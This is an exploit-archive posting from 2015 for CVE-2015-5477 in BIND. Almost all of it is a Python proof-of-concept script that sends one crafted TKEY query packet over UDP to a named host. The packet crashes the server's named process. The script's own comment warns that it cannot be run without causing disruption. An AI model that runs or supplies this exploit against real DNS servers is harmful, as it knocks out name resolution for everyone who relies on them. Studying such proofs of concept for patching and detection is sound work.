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BIND TKEY Query Denial Of Service

BIND TKEY Query Denial Of Service
Posted Jul 31, 2015
Authored by Lorenzo Corsini

BIND TKEY query remote denial of service proof of concept exploit.

tags | exploit, remote, denial of service, proof of concept
advisories | CVE-2015-5477
MD5 | 8118c2899f9813a35af49b81b71d6589

BIND TKEY Query Denial Of Service

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#!/usr/bin/python
# Title: BIND Remote DoS via TKEY queries
# aka: DNS TKEY Query of Death
# Author: Lorenzo Corsini <serdat>
# E-Mail: serdat5[at]gmail[dot]com
# Twitter: https://twitter.com/serdat5tm

# References:
# https://kb.isc.org/article/AA-01272
# https://www.isc.org/blogs/about-cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/

# Warning there is no way to use this PoC in a non-desruptive manner.
# Use with care. I'm not responsible for what you'll do with that

import socket
import sys

#Not randomized.
DNS_PACKET='\x04X\x00\x80\x00\x01\x00\x01\x00\x00\x00\x01\x03xxx\x00\x00\xf9\x00\xff\x03xxx\x00\x00\xf9\x00\xff\x00\x00\x00\x00\x00%\x03xxx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x00\x00\x03xxx\x00\x00\x10\x00\xff\x00\x00\x00\x00\x00%$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

try:
HOST=sys.argv[1]
PORT= 53
except:
print "Usage: %s host_to_crash" & sys.argv[0]
sys.exit(-1)

print "Exploiting target at %s" % HOST

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(DNS_PACKET,(HOST,PORT))
s.close()

print "Check Manually if the exploit worked... try launching:"
print "dig @%s CR4SH3D any" % HOST

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